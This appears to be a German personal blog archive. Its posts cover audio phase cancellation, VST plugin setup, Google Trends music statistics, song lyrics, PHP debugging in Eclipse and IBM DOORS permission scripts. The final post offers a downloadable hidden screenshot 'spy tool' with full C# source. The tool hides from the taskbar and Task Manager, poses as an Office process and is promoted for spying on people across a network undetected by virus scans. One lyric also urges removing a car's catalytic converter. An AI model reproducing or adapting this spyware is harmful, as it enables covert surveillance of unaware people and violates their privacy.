sin(x)+sin(x+PI)=0;

Der Cosinus ist quasi eine Phasenverschiebung um 90 Grad. In einer DAW könnte dies durch das Verschieben einer Audiospur nach rechts bedeuten.

phase_02

180 Grad ist dann noch weiter geschoben…

phase_03

(Bild-Quelle: delamar.de)

Jetzt werden beim Zusammenmischen der beiden Quellen die Amplitudenwerte addiert, wie es im Abschnitt „Oszillation auf die Welle draufmodulieren“ bereits gezeigt wurde. Und genau diese Tatsache führt also zu einer Phasenauslöschung! Eine Phasenauslöschung kann also auch durch die ungünstige Lage von Audiomaterial auf der Zeitachse stattfinden. Wen man das Material ein Stück nach rechts oder links schiebt (natürlich so, dass es nicht merkbar ist) könnte das Resultat auch wieder anders aussehen.

Wenn ich nun die Boxen aufeinander richte erhalte ich tatsächlich Stellungen im Raum, an denen das Signal fast verschwunden ist. Durch die kreisförmige Ausdehnung des Schalls um die Boxen wird es aber nicht vollständig terminiert.

Hier habe ich mein Experiment dokumentiert:

Schalte ich den Cubase Stereo Out Mix auf Mono, indem ich das „Stereo Enhancer“ Plugin in den INSERT-Effekten des Stereo-Outs auf Mono hinzuschalte (links unten ist ein MONO-Button wenn es geladen wurde), ist das Signal wirklich verschwunden bevor es den Computer verlassen hat (Phasenauslöschung bereits Digital).

VST Instrumente

Der Unterschied zu Insert-Effekten

Im Tutorial von Martin Finke wird ein Python-Skript verwendet, um aus den IPlugSamples ein Template für ein neues Projekt zu generieren. Als Grundlage meiner bisherigen Projekte wurde immer das selbe Startprojekt IPlugEffekt verwendet. Meine Vermutung war zunächst, dass jetzt ein anderes Template als Grundlage für ein VST Instrument genutzt wird. Allerdings kann man einen VST Insert Effect mit wenigen Handgriffen in der Quelldatei „ressource.h“ in ein VST Instrument umwandeln.


// #define PLUG_CHANNEL_IO "1-1 2-2"
#if (defined(AAX_API) || defined(RTAS_API))
#define PLUG_CHANNEL_IO "1-1 2-2"
#else
// no audio input. mono or stereo output
#define PLUG_CHANNEL_IO "0-1 0-2"
#endif

 

// …
#define PLUG_IS_INST 1

// …
#define EFFECT_TYPE_VST3 „Instrument|Synth“

// …
#define PLUG_DOES_MIDI
[/javascript]

„0-1 0-2“ bedeutet kein Input und einen Output (Mono) oder  kein Input und zwei Outputs.

PLUG_IS_INST 1“ macht aus dem INSERT Effect endgültig ein Instrument.

Inputs sind bei Instrumenten unnötig, da ein Instrument selber als Signalquelle für den Gesamt-Mix genutzt wird. Die Funktion „ProcessDoubleReplacing“ bekommt als Übergabeparameter allerdings weiter hin die Inputs geliefert. Ich habe noch nicht herausgefunden wofür das gut sein soll ;-).

Inputs sind bei Instrumenten unnötig, da ein Instrument selber als Signalquelle für den Gesamt-Mix genutzt wird. Die Funktion „ProcessDoubleReplacing“ bekommt als Übergabeparameter allerdings weiter hin die Inputs geliefert. Ich habe noch nicht herausgefunden wofür das gut sein soll ;-).

Kostenloses VST3 Effect-Plugin / Free VST3 effects plugin: Digitale Verzerrung / Digital Distortion

Download kostenloses VST3 Plugin Digitale Verzerrung | VST3 Effect Download

Nach dem Download können Sie das Plugin einfach in Ihr VST3 Verzeichnis kopieren (z.B. C:\Program Files (x86)\Common Files\VST3)

Just copy the VST3 Plugin into your VST3 Directory (i.e. C:\Program Files (x86)\Common Files\VST3 ).

Bei diesem VST3 Plugin handelt es sich um eine einfache digitale Verzerrung.

Der Regler lässt sich von 0 Prozent bis 100 Prozent (links) drehen, je näher man an die 100 Prozent kommt, desto stärker werden die Amplituden abgeschnitten. Bei leiseren Signalen muss man ganz nach links drehen. Am 100 % Anschlag ist allerdings die Welle ausgelöscht :-). Also immer ein paar Cent weiter rechts bleiben und die Lautstärke wieder anheben (diese wird ebenfalls abgeschwächt). Eine automatische Lautstärkenkorrektur findet nicht statt, da die Lautheit durch die Annäherung an ein Rechtecksignal relativ hoch wird, sollte dies nämlich besser individuell eingepegelt werden.

Screenshot: Der Effekt „Distortion -> Hard Digital Distortion“ wurde bei den INSERT-Effekten einer Spur in Steinberg Cubase an erster Stelle ausgewählt und dessen GUI über den „e“-Button hervorgebracht.

digitale_verzerrung

 

Musik: Angesagte Musikgenres / Musikstile / Musikrichtungen nach Google Trends (weltweit / Deutschland / Deutsche Musikindustrie)

Intention

In diesem Artikel möchte ich Google Trends als Auswertungswerkzeug für die Analyse des Musikmarktes vorstellen. Zunächst beobachten wir den Weltmarkt, anschließend schauen wir uns Deutschland an. Zur Verfizierung der Repräsentationsfähigkeit vergleichen wir mit frei zugänglichen Berichten der Musikindustrie.

Statistik Google Trends (weltweit)

Neben den Berichten der Musikindustrie, welche bereits suggerieren, dass Rock die angesagteste Musikrichtung seit Anfang der Zählung (2004) ist, gibt es dank Google Trends auch die Möglichkeit anhand der häufigsten Suchen Trends abzubilden:

Problem

Wie aus der Grafik ersichtlich ist, sinken die Gesamtabfragen, so dass es teilweise schwierig ist die neuen Trends zu erkennen.

Ansatz

Um Trends besser zu analysieren lohnt es sich die Grafik anhand der Gesamtabfragen prozentual zu normalisieren.

Lösung

Durch den CSV Download kann man brauchbare Auswertungen erstellen

chart1

Elektronische Tanzmusik (EDM) wäre in einer Portfolio-Analyse eine Cash Cow.

chart2

Zur detailierten Auswertung kommen Sie über diesen Link.

Statistik Google Trends (Deutschland)

Betrachten wir hingegen den gleichen Trend für Deutschland, so gab es bis 2008 in Deutschland tatsächlich einen Zeitraum, in dem Hip Hop angesagter war als Rockmusik:

Anteilige Änderung
chart1D

Prozentuale Nachfrage
chart2D

Verifizierung anhand freier Berichte der Musikindustrie

miz.org

In diesem Bericht lässt sich beispielsweise ebenfalls den Abwärtstrend von Rap / Dance / Hip Hop beobachten, allerdings ist er nicht so stark ersichtlich wie bei Google Trends:

Klicke, um auf statistik31.pdf zuzugreifen

(siehe PDF Seite 4).

Vermutlich ist die Subkultur Hip-Hop und die Zielgruppe stärker im Internet vertreten. Der absolute Anteil von Rap ist ingesamt niedriger als der von Rock, wobei sich Rock sogar noch hier zusätzlich in Deutsch und Englisch aufteilt.

Die Tanzmusik beinhaltet sowohl die elektronische Tanzmusik als auch die gewöhnliche Disco-Fox-Musik. Durch EDM hat hier ein starker Wandel stattgefunden, wodurch man sogar Helene Fischer diesem Genre zuordnen könnte.

 

Neuer Songtext und Video für Exhaust Fire

Ursprung

Auf Grundlage des gelesenen Textes

https://www.carthrottle.com/post/heres-how-to-make-your-car-exhaust-spit-flames/

habe ich einen Text geschrieben, welcher wie eineArt Anleitung zum Pimpen des Auspuffsystems ist, damit aus dem Auto flammen schießen.

Der Song (V. 1.0)

 

 

Text

Unburnt fuel … has caught fire
in the exhaust system … it’s all haywire
Shooting pipes … rubber kissed him
burning tires … fireflies

(Mehrstimmig wie kissin dynmite)
running free
take your keys
lots of fuel is dumped …
into the …

Refrain
EXHAUST FIRE

What you need to do to make your exhaust shut
is to get rid of your catalytic converter gut
accelerate hard with a wide open throttle
protect your ears and watch how your cuddle

Shoot … Shoot …

YouTube Video

Auf YouTube existieren zahlreiche Videos von Usern, die gerne ihr feuerspuckendes Maschinchen präsentieren möchten.

Idee: Exhaust Flame Video von professionellen YouTube-Quellen zurechtschneiden

Problem: Ist es rechtlich gesehen problematisch Videos von YouTube zurechtzuschneiden?

Lösung: Es ist erlaubt Creative Common Videos im Online Editor von YouTube zu bearbeiten. Der Lizenztyp CC-BY, welcher für alle Videos gilt, die mit CC vom Author/Uploader gekennzeichnet wurden, setzt lediglich Namensnennung vorraus. Downloaden ist als MP4 im Videomanager erlaubt, laut Nutzungsbedingungen von YouTube aber unerwünscht.

Äbblwoi – Hals hie nei – SoundCloud

Listen to Äbblwoi – Hals hie nei by Björn Karpenstein #np on #SoundCloud

Isch kipp mir jetzt den Äbblwoi
einfach in den Halse nei
und wenn er uffgestoße is
hon isch in de Handkäs g’biss
Hey Herr Werd der Kruch is leer
bring mir schnell en neuje her
Ma Fraa is mer jetz fortgeloffe
isch hab nämlich voll g’soffe

N Äbbelsche
N Bembelsche
Äblwoi,
Halse nei,
Im Summer in der größten Hitz
Mim Bembel isch im Schadde sitz

Ihr Leit macht leer des Äblfoss
ihr wuiht doch ohch de saure Sposs
Es fegt de Mage, labt die Schnut,
Es Stöffsche is für alles gut
So laut de ärztlische Befund
des Stöffsche is ja so g’sund
Nur ne eschte Hessenaas
passt hinei ins Schobbeglas

N Äbbelsche
N Bembelsche
Äblwoi,
Halse nei,
Im Summer in der größten Hitz
Mim Bembel isch im Schadde sitz

N Äbbelsche
N Bembelsche
Äblwoi,
Halse nei,
Im Summer in der größten Hitz
Mim Bembel isch im Schadde sitz

Komplette IDE mit PHP- und Javascript-Debugging unter Windows unter Verwendung von Wampserver [v3.0.0] und „Eclipse for PHP Developers“ (Eclipse PDT) MARS.2 [v4.5.2]

Problem

Für das Debugging von PHP Webanwendungen wird eine PHP Debuggingumgebung benötigt.

Ansatz

Die kostenlose Anwendung WAMPSERVER (hier v.3.0.0) wird mit „Eclipse for PHP Developers“ (MARS.2) konfiguriert, um das Debugging zu ermöglichen.

Vorgehensweise

  • Download von Wampserver unter http://www.wampserver.de
  • Installation als Administrator (rechte Maustaste „als Administrator ausführen“)
    • z.B. in c:\dev\wamp
  • Download von „Eclipse for PHP Developers“ unter http://www.eclipse.org
  • Entpacken von „Eclipse for PHP Developers“ in ein gewünschtes Verzeichnis

Lösung

Nachdem der Wampserver gestartet wurde und unter der URL http://localhost erreichbar ist, kann bereits mit der Konfiguration von Eclipse begonnen werden.

  1. Eclipse starten
  2. Workspace direkt im WWW root auswählen (bspw. bei Installation in c:\dev\wamp)
    workspace
  3. Mit OK bestätigen
  4. Im Menü „Window -> Preferences“ wählen
    menu_window_preferences
  5. PHP Executable hinzufügen
    PHP_Executables
  6. PHP Executable angebenTab_PHP_Executable
  7. Unten auf den Button „Next->“ klicken (nicht im Screenshot da Edit-Dialog)
  8. Debugger angeben -> XDebug auswählen!Tab_Debugger
  9. Mit okay bestätigen
  10. Einstellungen unter Menu->Preferences->Debug überprüfen (ist der angelegte Debugger aktiviert?).einstellungen_debug
  11. Web Browser angeben (ich empfehle Google Chrome)eclipse_preferences_webbrowser
  12. Neues PHP Projekt anlegen
    neues_php_projekt
  13. Folgende Einstellungen tätigen neues_php_projekt_auswahl
  14. Rechtklick auf das neu angelegte Projekt -> New -> PHP Fileneues_php_projekt_datei_hinzufuegen
  15. Die Datei beispielsweise index.php benennen new_phpfile_index_benennen
  16. Test-Sourcecode in index.php einfügen
    <?php
    	$i=0;
    	$i++;
    	$i=$i+1;
    	print $i;
    ?>
    
  17. Breakpoint setzen (Doppelklick links neben die Zeile)
    debug_configuration_index_Debugger2
  18. Debug Configuration für die Website anlegen (rechts neben die Debug Wanze klicken -> Debug Configurations)
    debugger_wanze
  19. Debug Configurations -> PHP Web Application -> index -> Server
    debug_configuration_index_serverDie Startdatei /Bier.de/index.php entspricht auch dem Aufruf über http://localhost/Bier.de/index.php, da wir den Workspace im c:\dev\wamp\www-rootverzeichnis angelegt haben.
  20. Debug Configurations -> PHP Web Application -> index -> Debugger
    debug_configuration_index_Debugger
    Wenn „Break at First Line“ ausgewählt ist, hält der Debugger automatisch bei der ersten Zeile an. Dies ist nicht immer gewünscht!
  21. Debug Button klicken
  22. Bestätigen dass auf die PHP Debug Perspektive gewechselt wird
  23. Für das Javascript-Debugging Empfehle ich dringend den ausgereiften Chrome Javascript Debugger zu verwenden. Dieser lässt sich in Chrome folgendermaßen starten:
    chrome-debugger1
  24. Hier kann man Breakpoints setzen und den Objektbaum jederzeit einsehen:
    chrome-debugger2

 

 

 

 

IBM Doors DXL: Set and delete Permissions on objects

Problem

Einem Object obj sollen Permissionrechte gegeben oder genommen werden.

Ansatz – Approach

* unsetAll(obj) – löscht alle User Berechtigungen / clears all user permissions set for the specified argument.
* setImplied(obj, permission) – Vererbt Kindern, die vom Element erzeugt werden, zusätzliche Rechte / sets the extra access control propagated by create for children of the resource.
* set(obj,permission,null) – Berechtigung für Everyone Else vergeben / sets the „Everyone else“ permission

Lösung – Solution

Hier einige Beispiele

// Gib Every Else alle Rechte
Permission allPermissions=read|create|modify|delete|control;
set(obj, allPermissions, null);

// Lösche alle Rechte außer Everyone else
unsetAll(obj); 

// Gib den Gruppen ChangeControlBoard, Admin, RequirementsManager alle Rechte
set(obj, allPermissions, \"ChangeControlBoard\");
set(obj, allPermissions, \"DB_Admin\");
set(obj, allPermissions, \"RequirementsManager\");

// Gib der Gruppe NDS_Team read-Berechtigung 
Permission readCreatePermissions=read|create;
set(obj, readCreatePermissions, \"NDS_Team\");

// Das Objekt soll zusätzlich zu den bestehenden Rechten die Modify Rechte vererben. 
Permission modifyPermission=modify;
string errMess=setImplied(obj, modifyPermission);
if(!null errMess)
{
   ack errMess;
}
		
// Lösche alle Berechtigung von everyone else außer read
Permission readPermission=read;
set(obj, readPermission, null);		

Gartner und Forrester Studie: Zusammenfassung der IT Trends 2016, 2017 und 2018 und Schlagwörter / Buzzwords

  • Device Mesh
  • Big Data
  • Microservices
  • Apparchitektur
  • Internet der Dinge
  • Customer Experience ( Aufbau einer emotionalen Bindung zwischen Anwender und Produkt oder Anbieter)
  • Zero Trust / Adaptive Sicherheitssysteme
  • Cloud- und Softwaredefinierte Infrastruktur (https://en.wikipedia.org/wiki/Infrastructure_as_Code)
  • BYOD – Bring your own device ist etabliert – Die IT hat dafür zu sorgen dass die Vorteile sichtbar werden

.NET: Spionagetool / Tool was periodisch Screenshots erzeugt / Screenshot tool / Spy Tool

Terms of use – Nutzungbedingungen

Do not use this for illegal purposes. This is a free tool to demonstrate how you can spy third persons or just generate screenshots in a folder (maybe a netdrive).

Dieses Tool darf nicht für illegale Zwecke genutzt werden und dient lediglich der Demonstration von Prozessen, die komplett versteckt im Hintergrund und unentdeckt Spionageaktivitäten ermöglichen.

Warranty – Garantie

I promise that this file is absolutely virus free and will not damage anything or give data to third persons!
Ich verspreche dass dieses Tool absolut virusfrei ist und keinen Schaden am Rechner anrichtet, geschweige denn Daten an dritte Personen weitergibt.

Description – Beschreibung

A hidden tool shall generate periodic screenshots every minute (i.e on a net drive or the directory it has been started in) and be stopable remotely.
Ein unentdeckbares Tool generiert jede Minute periodisch Screenshots in dem Verzeichnis, in dem es gestartet wurde (z.B. auf einem Netzlaufwerk) und es auch zur Not gestoppt werden kann.

Approach – Ansatz

A hidden executed process is running in the background, which is not shown in the task bar and labeled as MS Office process in the Task Manager.
Ein versteckter Prozess gibt sich als Microsoft Office Anwendung aus und ist nicht im Taskmanager unter „Anwendungen“ auffindbar. Er wird nicht in der Taskbar angezeigt.

Prerequirements – Vorraussetzungen

  • .NET Framework
  • Someone can execute the process on a netdrive / Jemand muss die Exe am Netzlaufwerk vorher starten

Solution – Lösung

  • Download and unpack the following tool on a netdrive: ScreenshotTool
  • Double click the process (this will not damage s.th. on the computer!!!)
  • The tool is producing a screenshot every minute in the folder it has been started in.
  • To stop the tool, rename close_.txt to close.txt (otherwise a restart of the computer will stop the process and there is nothing pointing to it).

Fazit

On the screenshot you see the only hint to recognize the running tool. It is not shown in the Task Manager. Via Filesharing/Samba it is possible to spy other persons in a network without getting discovered by virus scans.

taskmanager

 

Code

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing.Imaging;
using System.IO;

namespace screenshot
{
    public partial class Form1 : Form
    {
        // Die Dateien werden im Pfad erzeugt, wo die Exe gestartet wird
        public string outputPath = Application.StartupPath;

        public Form1()
        {
            InitializeComponent();

            // Das Fenster bekommt keinen Border Style
            this.FormBorderStyle = FormBorderStyle.None;

            // Das Fenster wird nicht in der Task Bar angezeigt
            this.ShowInTaskbar = false;
        }

        // Entfernt das Programm aus dem Taskmanager -> Anwendungen
        protected override CreateParams CreateParams
        {
            get
            {
                var cp = base.CreateParams;
                cp.ExStyle |= 0x80;  // Turn on WS_EX_TOOLWINDOW
                return cp;
            }
        }
         
        // Erzeuge einen Screenshot
        private void button1_Click(object sender, EventArgs e)
        {
            // Prüfe ob eine close.txt existiert
            if (File.Exists(@"" + outputPath + "\\close.txt"))
            {
                this.Close();
            }


            // this.Opacity = 0.0;  // Verstecken der Form vor dem Screencopy
 
            // Screencopy erstellen und in BildschirmBMP ablegen
            Screen   Bildschirm      = Screen.PrimaryScreen; // Hauptbildschirm
 
            using (Bitmap BildschirmBMP = new Bitmap(Bildschirm.Bounds.Width, // Ziel-Bitmap
                                          Bildschirm.Bounds.Height,
                                          PixelFormat.Format24bppRgb))
            {
                using (Graphics BildschirmGR = Graphics.FromImage(BildschirmBMP))
                {
                    // Graphics erzeugen
                    BildschirmGR.CopyFromScreen(Bildschirm.Bounds.X, 
                                                Bildschirm.Bounds.Y, // Abbild erstellen 
                                                0, 
                                                0,
                                                BildschirmBMP.Size);
                }

                // this.Opacity = 1.0;  // Wieder anzeigen der Form nach dem Screencopy

                // Screencopy speichern mit Datum ein Zeitstempel
                BildschirmBMP.Save(outputPath + @"\output_" + DateTime.Now.Year + 
                "-" + DateTime.Now.Month + "-" + DateTime.Now.Day + "__" + 
                DateTime.Now.Hour + "_" + DateTime.Now.Minute + "_" + 
                DateTime.Now.Second + ".png"); // Nur mal so zum speichern
            }

        }

        // Rufe jede Sekunde auf (Timer ist ein Toolbox Element)
        private void timer1_Tick(object sender, EventArgs e)
        {
            // Jede Sekunde ausführen
            button1_Click(null, null);
        }

        // Sobald das Programm gestartet ist, starte den Timer
        private void Form1_Load(object sender, EventArgs e)
        {
            // Beim Start einmal ausführen
            button1_Click(null, null);
            timer1.Start();
        }
    }
}